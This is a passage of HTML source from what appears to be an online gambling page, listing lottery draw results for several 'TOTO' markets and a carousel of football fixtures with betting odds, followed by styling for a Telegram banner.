class="result"> 3747 <div class="pasaran"></div> 3748 <div class="keluaran">7071</div> 3749 <div class="tanggal">08-10-2026</div> 3750 </div> 3751 3752 <div class="result"> 3753 <div class="pasaran"></div> 3754 <div class="keluaran">2431</div> 3755 <div class="tanggal">07-10-2026</div> 3756 </div> 3757 3758 <div class="result"> 3759 <div class="pasaran"></div> 3760 <div class="keluaran">0498</div> 3761 <div class="tanggal">06-10-2026</div> 3762 </div> 3763 3764 <div class="result"> 3765 <div class="pasaran"></div> 3766 <div class="keluaran">8012</div> 3767 <div class="tanggal">05-10-2026</div> 3768 </div> 3769 3770 <div class="result"> 3771 <div class="pasaran"></div> 3772 <div class="keluaran">0416</div> 3773 <div class="tanggal">04-10-2026</div> 3774 </div> 3775 3776 <div class="result"> 3777 <div class="pasaran"></div> 3778 <div class="keluaran">2510</div> 3779 <div class="tanggal">03-10-2026</div> 3780 </div> 3781 3782 <div class="result"> 3783 <div class="pasaran"></div> 3784 <div class="keluaran">1561</div> 3785 <div class="tanggal">02-10-2026</div> 3786 </div> 3787 </div> 3788 </div> 3789 3790 <div class="result-data accordion-item"> 3791 <button class="result accordion-button" type="button" data-bs-to
3791ggle="collapse" data-bs-target="#paito-TWH"> 3792 <div class="badge"> 3793 </div> 3794 <div class="pasaran">TOTO WUHAN </div> 3795 <div class="keluaran">6536</div> 3796 <div class="tanggal">10-10-2026</div> 3797 </button> 3798 <div id="paito-TWH" class="accordion-collapse collapse"> 3799 3800 <div class="result"> 3801 <div class="pasaran"></div> 3802 <div class="keluaran">9250</div> 3803 <div class="tanggal">09-10-2026</div> 3804 </div> 3805 3806 <div class="result"> 3807 <div class="pasaran"></div> 3808 <div class="keluaran">4208</div> 3809 <div class="tanggal">09-10-2026</div> 3810 </div> 3811 3812 <div class="result"> 3813 <div class="pasaran"></div> 3814 <div class="keluaran">6154</div> 3815 <div class="tanggal">09-10-2026</div> 3816 </div> 3817 3818 <div class="result"> 3819 <div class="pasaran"></div> 3820 <div class="keluaran">3312</div> 3821 <div class="tanggal">09-10-2026</div> 3822 </div> 3823 3824 <div class="result"> 3825 <div class="pasaran"></div> 3826 <div class="keluaran">4840</div> 3827 <div class="tanggal">09-10-2026</div> 3828 </div> 3829 3830 <div class="result"> 3831 <div class="pasaran"></div> 3832 <div class="keluaran">6631</div> 3833 <div class="tanggal">09-10-2026</div> 3834 </div> 3835 3836 <div class="result"> 3837 <div class="pasaran"></div> 3838 <div class="keluaran">1674</div> 3839 <div class="tanggal">08-10-2026</div> 3840 </div> 3841 </div> 3842 </div> 3843 3844 </div><div class='carousel-item accordion accordion-flush'> <div class="result-data accordion-item"> 3845 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-TTM00"> 3846 <div class="badge"> 3847 </div> 3848 <div class="pasaran">TOTO MACAU0000 </div> 3849 <div class="keluaran">2412</div> 3850 <div class="tanggal">09-10-2026</div> 3851 </button> 3852 <div id="paito-TTM00" class="accordion-collapse collapse"> 3853 3854 <div class="result"> 3855 <div class="pasaran"></div> 3856 <div class="keluaran">7036</div> 3857 <div class="tanggal">08-10-2026</div> 3858 </div> 3859 3860 <div class="result"> 3861 <div class="pasaran"></div> 3862 <div class="keluaran">1825</div> 3863 <div class="tanggal">07-10-2026</div> 3864 </div> 3865 3866 <div class="result"> 3867 <div class="pasaran"></div> 3868 <div class="keluaran">1791</div> 3869 <div class="tanggal">06-10-2026</div> 3870 </div> 3871 3872 <div class="result"> 3873 <div class="pasaran"></div> 3874 <div class="keluaran">2360</div> 3875 <div class="tanggal">05-10-2026</div> 3876 </div> 3877 3878 <div class="result"> 3879 <div class="pasaran"></div> 3880 <div class="keluaran">0422</div> 3881 <div class="tanggal">04-10-2026</div> 3882 </div> 3883 3884 <div class="result"> 3885 <div class="pasaran"></div> 3886 <div class="keluaran">0437</div> 3887 <div class="tanggal">03-10-2026</div> 3888 </div> 3889 3890 <div class="result"> 3891 <div class="pasaran"></div> 3892 <div class="keluaran">1329</div> 3893 <div class="tanggal">02-10-2026</div> 3894 </div> 3895 </div> 3896 </div> 3897 3898 <div class="result-data accordion-item"> 3899 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-TTM13"> 3900 <div class="badge"> 3901 </div> 3902 <div class="pasaran">TOTOMACAU1300 </div> 3903 <div class="keluaran">2582</div> 3904 <div class="tanggal">09-10-2026</div> 3905 </button> 3906 <div id="paito-TTM13" class="accordion-collapse collapse"> 3907 3908 <div class="result"> 3909 <div class="pasaran"></div> 3910 <div class="keluaran">4518</div> 3911 <div class="tanggal">08-10-2026</div> 3912 </div> 3913 3914 <div class="result"> 3915 <div class="pasaran"></div> 3916 <div class="keluaran">2492</div> 3917 <div class="tanggal">07-10-2026</div> 3918 </div> 3919 3920 <div class="result"> 3921 <div class="pasaran"></div> 3922 <div class="keluaran">5625</div> 3923 <div class="tanggal">06-10-2026</div> 3924 </div> 3925 3926 <div class="result"> 3927 <div class="pasaran"></div> 3928 <div class="keluaran">6520</div> 3929 <div class="tanggal">05-10-2026</div> 3930 </div> 3931 3932 <div class="result"> 3933 <div class="pasaran"></div> 3934 <div class="keluaran">9711</div> 3935 <div class="tanggal">04-10-2026</div> 3936 </div> 3937 3938 <div class="result"> 3939 <div class="pasaran"></div> 3940 <div class="keluaran">9180</div> 3941 <div class="tanggal">03-10-2026</div> 3942 </div> 3943 3944 <div class="result"> 3945 <div class="pasaran"></div> 3946 <div class="keluaran">2811</div> 3947 <div class="tanggal">02-10-2026</div> 3948 </div> 3949 </div> 3950 </div> 3951 3952 <div class="result-data accordion-item"> 3953 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-TTM16"> 3954 <div class="badge"> 3955 </div> 3956 <div class="pasaran">TOTOMACAU1600 </div> 3957 <div class="keluaran">1103</div> 3958 <div class="tanggal">09-10-2026</div> 3959 </button> 3960 <div id="paito-TTM16" class="accordion-collapse collapse"> 3961 3962 <div class="result"> 3963 <div class="pasaran"></div> 3964 <div class="keluaran">6360</div> 3965 <div class="tanggal">08-10-2026</div> 3966 </div> 3967 3968 <div class="result"> 3969 <div class="pasaran"></div> 3970 <div class="keluaran">9210</div> 3971 <div class="tanggal">07-10-2026</div> 3972 </div> 3973 3974 <div class="result"> 3975 <div class="pasaran"></div> 3976 <div class="keluaran">2371</div> 3977 <div class="tanggal">06-10-2026</div> 3978 </div> 3979 3980 <div class="result"> 3981 <div class="pasaran"></div> 3982 <div class="keluaran">2786</div> 3983 <div class="tanggal">05-10-2026</div> 3984 </div> 3985 3986 <div class="result"> 3987 <div class="pasaran"></div> 3988 <div class="keluaran">6416</div> 3989 <div class="tanggal">04-10-2026</div> 3990 </div> 3991 3992 <div class="result"> 3993 <div class="pasaran"></div> 3994 <div class="keluaran">1710</div> 3995 <div class="tanggal">03-10-2026</div> 3996 </div> 3997 3998 <div class="result"> 3999 <div class="pasaran"></div> 4000 <div class="keluaran">2964</div> 4001 <div class="tanggal">02-10-2026</div> 4002 </div> 4003 </div> 4004 </div> 4005 4006 <div class="result-data accordion-item"> 4007 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-TTM19"> 4008 <div class="badge"> 4009 </div> 4010 <div class="pasaran">TOTOMACAU1900 </div> 4011 <div class="keluaran">8919</div> 4012 <div class="tanggal">09-10-2026</div> 4013
4013</button> 4014 <div id="paito-TTM19" class="accordion-collapse collapse"> 4015 4016 <div class="result"> 4017 <div class="pasaran"></div> 4018 <div class="keluaran">2144</div> 4019 <div class="tanggal">08-10-2026</div> 4020 </div> 4021 4022 <div class="result"> 4023 <div class="pasaran"></div> 4024 <div class="keluaran">3508</div> 4025 <div class="tanggal">07-10-2026</div> 4026 </div> 4027 4028 <div class="result"> 4029 <div class="pasaran"></div> 4030 <div class="keluaran">3021</div> 4031 <div class="tanggal">06-10-2026</div> 4032 </div> 4033 4034 <div class="result"> 4035 <div class="pasaran"></div> 4036 <div class="keluaran">0996</div> 4037 <div class="tanggal">05-10-2026</div> 4038 </div> 4039 4040 <div class="result"> 4041 <div class="pasaran"></div> 4042 <div class="keluaran">0166</div> 4043 <div class="tanggal">04-10-2026</div> 4044 </div> 4045 4046 <div class="result"> 4047 <div class="pasaran"></div> 4048 <div class="keluaran">9946</div> 4049 <div class="tanggal">03-10-2026</div> 4050 </div> 4051 4052 <div class="result"> 4053 <div class="pasaran"></div> 4054 <div class="keluaran">9822</div> 4055 <div class="tanggal">02-10-2026</div> 4056 </div> 4057 </div> 4058 </div> 4059 4060 <div class="result-data accordion-item"> 4061 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-TTM22"> 4062 <div class="badge"> 4063 </div> 4064 <div class="pasaran">TOTOMACAU2200 </div> 4065 <div class="keluaran">6078</div> 4066 <div class="tanggal">09-10-2026</div> 4067 </button> 4068 <div id="paito-TTM22" class="accordion-collapse collapse"> 4069 4070 <div class="result"> 4071 <div class="pasaran"></div> 4072 <div class="keluaran">0522</div> 4073 <div class="tanggal">08-10-2026</div> 4074 </div> 4075 4076 <div class="result"> 4077 <div class="pasaran"></div> 4078 <div class="keluaran">9798</div> 4079 <div class="tanggal">07-10-2026</div> 4080 </div> 4081 4082 <div class="result"> 4083 <div class="pasaran"></div> 4084 <div class="keluaran">1928</div> 4085 <div class="tanggal">06-10-2026</div> 4086 </div> 4087 4088 <div class="result"> 4089 <div class="pasaran"></div> 4090 <div class="keluaran">5522</div> 4091 <div class="tanggal">05-10-2026</div> 4092 </div> 4093 4094 <div class="result"> 4095 <div class="pasaran"></div> 4096 <div class="keluaran">6057</div> 4097 <div class="tanggal">04-10-2026</div> 4098 </div> 4099 4100 <div class="result"> 4101 <div class="pasaran"></div> 4102 <div class="keluaran">5488</div> 4103 <div class="tanggal">03-10-2026</div> 4104 </div> 4105 4106 <div class="result"> 4107 <div class="pasaran"></div> 4108 <div class="keluaran">4574</div> 4109 <div class="tanggal">02-10-2026</div> 4110 </div> 4111 </div> 4112 </div> 4113 4114 <div class="result-data accordion-item"> 4115 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-TTM23"> 4116 <div class="badge"> 4117 </div> 4118 <div class="pasaran">TOTOMACAU2300 </div> 4119 <div class="keluaran">6884</div> 4120 <div class="tanggal">09-10-2026</div> 4121 </button> 4122 <div id="paito-TTM23" class="accordion-collapse collapse"> 4123 4124 <div class="result"> 4125 <div class="pasaran"></div> 4126 <div class="keluaran">5747</div> 4127 <div class="tanggal">08-10-2026</div> 4128 </div> 4129 4130 <div class="result"> 4131 <div class="pasaran"></div> 4132 <div class="keluaran">1034</div> 4133 <div class="tanggal">07-10-2026</div> 4134 </div> 4135 4136 <div class="result"> 4137 <div class="pasaran"></div> 4138 <div class="keluaran">0578</div> 4139 <div class="tanggal">06-10-2026</div> 4140 </div> 4141 4142 <div class="result"> 4143 <div class="pasaran"></div> 4144 <div class="keluaran">6474</div> 4145 <div class="tanggal">05-10-2026</div> 4146 </div> 4147 4148 <div class="result"> 4149 <div class="pasaran"></div> 4150 <div class="keluaran">2233</div> 4151 <div class="tanggal">04-10-2026</div> 4152 </div> 4153 4154 <div class="result"> 4155 <div class="pasaran"></div> 4156 <div class="keluaran">4413</div> 4157 <div class="tanggal">03-10-2026</div> 4158 </div> 4159 4160 <div class="result"> 4161 <div class="pasaran"></div> 4162 <div class="keluaran">9822</div> 4163 <div class="tanggal">02-10-2026</div> 4164 </div> 4165 </div> 4166 </div> 4167 4168 </div> 4169 4170 </div> 4171 </div> 4172 </div> 4173 4174
4174<script> 4175 4176 function togglePaito(paitoid) { 4177 let paito = document.getElementById(paitoid); 4178 paito.classList.add("open"); 4179 } 4180 4181 4182 </script>
4182 4183 4184 <div class="transaksi p-0 py-lg-4"> 4185 <div class="d-none d-lg-block"> 4186 <!-- BANNER SBO DESKTOP --> 4187 <div class="match-slider-wrap"> 4188 <div id="sboMatchCarouselDesktop" class="carousel slide" data-bs-ride="carousel" data-bs-interval="4500"> 4189 4190 <div class="carousel-indicators"> 4191 <button 4192 type="button" 4193 data-bs-target="#sboMatchCarouselDesktop" 4194 data-bs-slide-to="0" 4195 class="active" 4196 aria-current="true" aria-label="Slide 1"> 4197 </button> 4198 <button 4199 type="button" 4200 data-bs-target="#sboMatchCarouselDesktop" 4201 data-bs-slide-to="1" 4202 class="" 4203 aria-label="Slide 2"> 4204 </button> 4205 <button 4206 type="button" 4207 data-bs-target="#sboMatchCarouselDesktop" 4208 data-bs-slide-to="2" 4209 class="" 4210 aria-label="Slide 3"> 4211 </button> 4212 <button 4213 type="button" 4214 data-bs-target="#sboMatchCarouselDesktop" 4215 data-bs-slide-to="3" 4216 class="" 4217 aria-label="Slide 4"> 4218 </button> 4219 </div> 4220 4221 <div class="carousel-inner"> 4222 <div class="carousel-item active"> 4223 <div class="row g-3"> 4224 <div class="col-12 col-md-6 col-lg-4"> 4225 <div class="match-card h-100"> 4226 <div class="league-name"> 4227 ENGLISH PREMIER LEAGUE </div> 4228 4229 <div class="kickoff-time"> 4230 October 10, 2026 â 18:30 WIB </div> 4231 4232 <div class="match-main-row"> 4233 <div class="team-col"> 4234 <img 4235 src="https://cdn.sportnanoapi.com/football/team/d6f5debc456da1119256ab66462ab510.png" 4236 alt="Arsenal" 4237 class="team-logo" 4238 > 4239 <div class="team-name"> 4240 Arsenal </div> 4241 </div> 4242 4243 <div class="score-col"> 4244 <div class="score-value"> 4245 0 : 0 </div> 4246 4247 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100346')"> 4248 BET NOW 4249 </a> 4250 </div> 4251 4252 <div class="team-col"> 4253 <img 4254 src="https://cdn.sportnanoapi.com/football/team/cd46d2ed1d364308dc206c97b48
4254ce556.png" 4255 alt="Leeds United" 4256 class="team-logo" 4257 > 4258 <div class="team-name"> 4259 Leeds United </div> 4260 </div> 4261 </div> 4262 4263 <div class="match-odds-row"> 4264 <div class="odds-col"> 4265 <span> 4266 0.75 <small>0.50</small> 4267 </span> 4268 </div> 4269 4270 <div class="odds-spacer"></div> 4271 4272 <div class="odds-col"> 4273 <span> 4274 -0.75 <small>-0.60</small> 4275 </span> 4276 </div> 4277 </div> 4278 </div> 4279 </div> 4280 <div class="col-12 col-md-6 col-lg-4"> 4281 <div class="match-card h-100"> 4282 <div class="league-name"> 4283 ENGLISH PREMIER LEAGUE </div> 4284 4285 <div class="kickoff-time"> 4286 October 10, 2026 â 21:00 WIB </div> 4287 4288 <div class="match-main-row"> 4289 <div class="team-col"> 4290 <img 4291 src="https://cdn.sportnanoapi.com/football/team/a0cf8f551e9440acb3f4ff533dcc58a4.png" 4292 alt="Chelsea" 4293 class="team-logo" 4294 > 4295 <div class="team-name"> 4296 Chelsea </div> 4297 </div> 4298 4299 <div class="score-col"> 4300 <div class="score-value"> 4301 0 : 0 </div> 4302 4303 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100428')"> 4304 BET NOW 4305 </a> 4306 </div> 4307 4308 <div class="team-col"> 4309 <img 4310 src="https://cdn.sportnanoapi.com/football/team/240b30d333c97d293752ab7afd77ccd6.png" 4311 alt="Bournemouth AFC" 4312 class="team-logo" 4313 > 4314 <div class="team-name"> 4315 Bournemouth AFC </div> 4316 </div> 4317 </div> 4318 4319 <div class="match-odds-row"> 4320 <div class="odds-col"> 4321 <sp
4321an> 4322 0.5 <small>0.66</small> 4323 </span> 4324 </div> 4325 4326 <div class="odds-spacer"></div> 4327 4328 <div class="odds-col"> 4329 <span> 4330 -0.5 <small>-0.76</small> 4331 </span> 4332 </div> 4333 </div> 4334 </div> 4335 </div> 4336 <div class="col-12 col-md-6 col-lg-4"> 4337 <div class="match-card h-100"> 4338 <div class="league-name"> 4339 SPAIN LA LIGA </div> 4340 4341 <div class="kickoff-time"> 4342 October 10, 2026 â 23:30 WIB </div> 4343 4344 <div class="match-main-row"> 4345 <div class="team-col"> 4346 <img 4347 src="https://cdn.sportnanoapi.com/football/team/f378eb1ea04e53999b89051aa3244de6.png" 4348 alt="Barcelona" 4349 class="team-logo" 4350 > 4351 <div class="team-name"> 4352 Barcelona </div> 4353 </div> 4354 4355 <div class="score-col"> 4356 <div class="score-value"> 4357 0 : 0 </div> 4358 4359 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215606')"> 4360 BET NOW 4361 </a> 4362 </div> 4363 4364 <div class="team-col"> 4365 <img 4366 src="https://cdn.sportnanoapi.com/football/team/36bf5bf0c8fdf08c1270124808f060e1.png" 4367 alt="Getafe" 4368 class="team-logo" 4369 > 4370 <div class="team-name"> 4371 Getafe </div> 4372 </div> 4373 </div> 4374 4375 <div class="match-odds-row"> 4376 <div class="odds-col"> 4377 <sp
4377an> 4378 2.5 <small>0.82</small> 4379 </span> 4380 </div> 4381 4382 <div class="odds-spacer"></div> 4383 4384 <div class="odds-col"> 4385 <span> 4386 -2.5 <small>-0.92</small> 4387 </span> 4388 </div> 4389 </div> 4390 </div> 4391 </div> 4392 </div> 4393 </div> 4394 <div class="carousel-item "> 4395 <div class="row g-3"> 4396 <div class="col-12 col-md-6 col-lg-4"> 4397 <div class="match-card h-100"> 4398 <div class="league-name"> 4399 ENGLISH PREMIER LEAGUE </div> 4400 4401 <div class="kickoff-time"> 4402 October 10, 2026 â 21:00 WIB </div> 4403 4404 <div class="match-main-row"> 4405 <div class="team-col"> 4406 <img 4407 src="https://cdn.sportnanoapi.com/football/team/a3c32d6a906083118cac2cb796edaab3.png" 4408 alt="Aston Villa" 4409 class="team-logo" 4410 > 4411 <div class="team-name"> 4412 Aston Villa </div> 4413 </div> 4414 4415 <div class="score-col"> 4416 <div class="score-value"> 4417 0 : 0 </div> 4418 4419 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100395')"> 4420 BET NOW 4421 </a> 4422 </div> 4423 4424 <div class="team-col"> 4425 <img 4426 src="https://cdn.sportnanoapi.com/football/team/60f1c7788be3148a370dbf59f914abfe.png" 4427 alt="Brentford" 4428 class="team-logo" 4429 > 4430 <div class="team-name"> 4431 Brentford </div> 4432 </div> 4433 </div> 4434 4435 <div class="match-odds-row"> 4436 <div class="odds-col"> 4437 <sp
4437an> 4438 0.00 <small>-0.97</small> 4439 </span> 4440 </div> 4441 4442 <div class="odds-spacer"></div> 4443 4444 <div class="odds-col"> 4445 <span> 4446 0.00 <small>0.87</small> 4447 </span> 4448 </div> 4449 </div> 4450 </div> 4451 </div> 4452 <div class="col-12 col-md-6 col-lg-4"> 4453 <div class="match-card h-100"> 4454 <div class="league-name"> 4455 ENGLISH PREMIER LEAGUE </div> 4456 4457 <div class="kickoff-time"> 4458 October 10, 2026 â 21:00 WIB </div> 4459 4460 <div class="match-main-row"> 4461 <div class="team-col"> 4462 <img 4463 src="https://cdn.sportnanoapi.com/football/team/957bdc50c307e2a9b526b34b3792da1a.png" 4464 alt="Sunderland" 4465 class="team-logo" 4466 > 4467 <div class="team-name"> 4468 Sunderland </div> 4469 </div> 4470 4471 <div class="score-col"> 4472 <div class="score-value"> 4473 0 : 0 </div> 4474 4475 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100525')"> 4476 BET NOW 4477 </a> 4478 </div> 4479 4480 <div class="team-col"> 4481 <img 4482 src="https://cdn.sportnanoapi.com/football/team/9b43a690d5a09f1e319f036821e8e1d3.png" 4483 alt="Brighton & Hove Albion" 4484 class="team-logo" 4485 > 4486 <div class="team-name"> 4487 Brighton & Hove Albion </div> 4488 </div> 4489 </div> 4490 4491 <div class="match-odds-row"> 4492 <div class="odds-col"> 4493 <sp
4493an> 4494 0.00 <small>-0.82</small> 4495 </span> 4496 </div> 4497 4498 <div class="odds-spacer"></div> 4499 4500 <div class="odds-col"> 4501 <span> 4502 0.00 <small>0.72</small> 4503 </span> 4504 </div> 4505 </div> 4506 </div> 4507 </div> 4508 <div class="col-12 col-md-6 col-lg-4"> 4509 <div class="match-card h-100"> 4510 <div class="league-name"> 4511 ENGLISH PREMIER LEAGUE </div> 4512 4513 <div class="kickoff-time"> 4514 October 10, 2026 â 23:30 WIB </div> 4515 4516 <div class="match-main-row"> 4517 <div class="team-col"> 4518 <img 4519 src="https://cdn.sportnanoapi.com/football/team/d39ce586fd7278342dde33b3090b3f75.png" 4520 alt="Manchester United" 4521 class="team-logo" 4522 > 4523 <div class="team-name"> 4524 Manchester United </div> 4525 </div> 4526 4527 <div class="score-col"> 4528 <div class="score-value"> 4529 0 : 0 </div> 4530 4531 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100582')"> 4532 BET NOW 4533 </a> 4534 </div> 4535 4536 <div class="team-col"> 4537 <img 4538 src="https://cdn.sportnanoapi.com/football/team/8b22ab4041e666b996a2d96f20dea707.png" 4539 alt="Tottenham Hotspur" 4540 class="team-logo" 4541 > 4542 <div class="team-name"> 4543 Tottenham Hotspur </div> 4544 </div> 4545 </div> 4546 4547 <div class="match-odds-row"> 4548 <div class="odds-col"> 4549 <sp
4549an> 4550 0.5 <small>0.72</small> 4551 </span> 4552 </div> 4553 4554 <div class="odds-spacer"></div> 4555 4556 <div class="odds-col"> 4557 <span> 4558 -0.5 <small>-0.82</small> 4559 </span> 4560 </div> 4561 </div> 4562 </div> 4563 </div> 4564 </div> 4565 </div> 4566 <div class="carousel-item "> 4567 <div class="row g-3"> 4568 <div class="col-12 col-md-6 col-lg-4"> 4569 <div class="match-card h-100"> 4570 <div class="league-name"> 4571 SPAIN LA LIGA </div> 4572 4573 <div class="kickoff-time"> 4574 October 11, 2026 â 02:00 WIB </div> 4575 4576 <div class="match-main-row"> 4577 <div class="team-col"> 4578 <img 4579 src="https://cdn.sportnanoapi.com/football/team/7dacaa934fe4be00f23c1e209b5ef947.png" 4580 alt="Real Madrid" 4581 class="team-logo" 4582 > 4583 <div class="team-name"> 4584 Real Madrid </div> 4585 </div> 4586 4587 <div class="score-col"> 4588 <div class="score-value"> 4589 0 : 0 </div> 4590 4591 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215615')"> 4592 BET NOW 4593 </a> 4594 </div> 4595 4596 <div class="team-col"> 4597 <img 4598 src="https://cdn.sportnanoapi.com/football/team/aee62af96a956756cc29fe4831286357.png" 4599 alt="Villarreal" 4600 class="team-logo" 4601 > 4602 <div class="team-name"> 4603 Villarreal </div> 4604 </div> 4605 </div> 4606 4607 <div class="match-odds-row"> 4608 <div class="odds-col"> 4609 <sp
4609an> 4610 1 <small>0.55</small> 4611 </span> 4612 </div> 4613 4614 <div class="odds-spacer"></div> 4615 4616 <div class="odds-col"> 4617 <span> 4618 -1 <small>-0.65</small> 4619 </span> 4620 </div> 4621 </div> 4622 </div> 4623 </div> 4624 <div class="col-12 col-md-6 col-lg-4"> 4625 <div class="match-card h-100"> 4626 <div class="league-name"> 4627 ITALY SERIE A </div> 4628 4629 <div class="kickoff-time"> 4630 October 10, 2026 â 22:59 WIB </div> 4631 4632 <div class="match-main-row"> 4633 <div class="team-col"> 4634 <img 4635 src="https://cdn.sportnanoapi.com/football/team/aa2245702c40f77799a5ad4b119581a8.png" 4636 alt="Inter Milan" 4637 class="team-logo" 4638 > 4639 <div class="team-name"> 4640 Inter Milan </div> 4641 </div> 4642 4643 <div class="score-col"> 4644 <div class="score-value"> 4645 0 : 0 </div> 4646 4647 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145618118')"> 4648 BET NOW 4649 </a> 4650 </div> 4651 4652 <div class="team-col"> 4653 <img 4654 src="https://cdn.sportnanoapi.com/football/team/9fadd87d190982c8082dddf1567e0b9b.png" 4655 alt="Parma Calcio" 4656 class="team-logo" 4657 > 4658 <div class="team-name"> 4659 Parma Calcio </div> 4660 </div> 4661 </div> 4662 4663 <div class="match-odds-row"> 4664 <div class="odds-col"> 4665 <sp
4665an> 4666 2 <small>0.65</small> 4667 </span> 4668 </div> 4669 4670 <div class="odds-spacer"></div> 4671 4672 <div class="odds-col"> 4673 <span> 4674 -2 <small>-0.75</small> 4675 </span> 4676 </div> 4677 </div> 4678 </div> 4679 </div> 4680 <div class="col-12 col-md-6 col-lg-4"> 4681 <div class="match-card h-100"> 4682 <div class="league-name"> 4683 SPAIN LA LIGA </div> 4684 4685 <div class="kickoff-time"> 4686 October 10, 2026 â 19:00 WIB </div> 4687 4688 <div class="match-main-row"> 4689 <div class="team-col"> 4690 <img 4691 src="https://cdn.sportnanoapi.com/football/team/5005d8feab109ce64e40beb98073cc1f.png" 4692 alt="Rayo Vallecano" 4693 class="team-logo" 4694 > 4695 <div class="team-name"> 4696 Rayo Vallecano </div> 4697 </div> 4698 4699 <div class="score-col"> 4700 <div class="score-value"> 4701 0 : 0 </div> 4702 4703 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215614')"> 4704 BET NOW 4705 </a> 4706 </div> 4707 4708 <div class="team-col"> 4709 <img 4710 src="https://cdn.sportnanoapi.com/football/team/abbb31d42c55612737713aac6567a226.png" 4711 alt="Athletic Bilbao" 4712 class="team-logo" 4713 > 4714 <div class="team-name"> 4715 Athletic Bilbao </div> 4716 </div> 4717 </div> 4718 4719 <div class="match-odds-row"> 4720 <div class="odds-col"> 4721 <sp
4721an> 4722 0.00 <small>0.98</small> 4723 </span> 4724 </div> 4725 4726 <div class="odds-spacer"></div> 4727 4728 <div class="odds-col"> 4729 <span> 4730 0.00 <small>0.92</small> 4731 </span> 4732 </div> 4733 </div> 4734 </div> 4735 </div> 4736 </div> 4737 </div> 4738 <div class="carousel-item "> 4739 <div class="row g-3"> 4740 <div class="col-12 col-md-6 col-lg-4"> 4741 <div class="match-card h-100"> 4742 <div class="league-name"> 4743 ENGLISH PREMIER LEAGUE </div> 4744 4745 <div class="kickoff-time"> 4746 October 11, 2026 â 22:30 WIB </div> 4747 4748 <div class="match-main-row"> 4749 <div class="team-col"> 4750 <img 4751 src="https://cdn.sportnanoapi.com/football/team/1cb3d08adac0e2dc1c4f10429d055bfe.png" 4752 alt="Liverpool" 4753 class="team-logo" 4754 > 4755 <div class="team-name"> 4756 Liverpool </div> 4757 </div> 4758 4759 <div class="score-col"> 4760 <div class="score-value"> 4761 0 : 0 </div> 4762 4763 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100751')"> 4764 BET NOW 4765 </a> 4766 </div> 4767 4768 <div class="team-col"> 4769 <img 4770 src="https://cdn.sportnanoapi.com/football/team/c4a6528a2ee147b99c9885ef24385a4e.png" 4771 alt="Manchester City" 4772 class="team-logo" 4773 > 4774 <div class="team-name"> 4775 Manchester City </div> 4776 </div> 4777 </div> 4778 4779 <div class="match-odds-row"> 4780 <div class="odds-col"> 4781 <sp
4781an> 4782 0.00 <small>-0.83</small> 4783 </span> 4784 </div> 4785 4786 <div class="odds-spacer"></div> 4787 4788 <div class="odds-col"> 4789 <span> 4790 0.00 <small>0.73</small> 4791 </span> 4792 </div> 4793 </div> 4794 </div> 4795 </div> 4796 </div> 4797 </div> 4798 </div> 4799 4800 <button class="carousel-control-prev" type="button" data-bs-target="#sboMatchCarouselDesktop" data-bs-slide="prev"> 4801 <span class="carousel-control-prev-icon" aria-hidden="true"></span> 4802 <span class="visually-hidden">Previous</span> 4803 </button> 4804 4805 <button class="carousel-control-next" type="button" data-bs-target="#sboMatchCarouselDesktop" data-bs-slide="next"> 4806 <span class="carousel-control-next-icon" aria-hidden="true"></span> 4807 <span class="visually-hidden">Next</span> 4808 </button> 4809 </div> 4810 </div> 4811 <!-- BANNER SBO DESKTOP END --> 4812 <!-- Banner Telegram --> 4813 4814 4815 <style> 4816 .telegram-bet-title { 4817 font-size: 1.3rem; 4818 font-weight: 800; 4819 letter-spacing: 1px; 4820 text-transform: uppercase; 4821 color: #ffffff; 4822 4823 /* NEON TELEGRAM GLOW */ 4824 text-shadow: 4825 /* inner white core */ 4826 0 0 2px rgba(255,255,255,0.9), 4827 4828 /* tight Telegram glow */ 4829 0 0 6px rgba(0,136,204,0.9), 4830 0 0 12px rgba(0,136,204,0.8), 4831 4832 /* outer neon halo */ 4833 0 0 22px rgba(0,136,204,0.6), 4834 0 0 38px rgba(0,136,204,0.45), 4835 0 0 60px rgba(0,136,204,0.3); 4836 } 4837 </style> 4838 4839 <style> 4840 .btn-telegram-neon { 4841 font-weight: 600; 4842 padding: 10px 16px; 4843 border-radius: 10px; 4844 letter-spacing: 0.3px; 4845 4846 background: #0088cc; 4847 border: none; 4848 color: #ffffff; 4849 4850 /* clean Telegram neon */ 4851 box-shadow: 4852 0 2px 6px rgba(0,136,204,0.35), 4853 0 0 10px rgba(0,136,204,0.25); 4854 4855 transition: box-shadow 0.25s ease, transform 0.2s ease; 4856 } 4857 4858 /* hover: slight lift + glow */ 4859 .btn-telegram-neon:hover { 4860 box-shadow: 4861 0 4px 10px rgba(0,136,204,0.45), 4862 0 0 16px rgba(0,136,204,0.35); 4863 transform: translateY(-1px); 4864 } 4865 4866 /* active */ 4867 .btn-telegram-neon:active { 4868 transform: translateY(0); 4869 box-shadow: 4870 0 2px 5px rgba(0,136,204,0.35); 4871 } 4872 </style> 4873 4874 <style> 4875 .telegram-float { 4876 animation: telegramFloat 3.5s ease-in-out infinite; 4877 } 4878 4879 @keyframes telegramFloat { 4880 0%, 100% { 4881 transform: translateY(0); 4882 } 4883 50% { 4884 transform: translateY(-8px); 4885 } 4886 } 4887 </style> 4888 4889 <div class="mb-lg-3" style="width: 100%; position: relative; display: flex; align-items: center"> 4890 <div style="z-index: 10; display: flex; justify-content: space-between; align-items: center; width: 100%; margin-left: 80px; margin-right: 40px"> 4891 <div class="d-flex gap-4"> 4892 <img 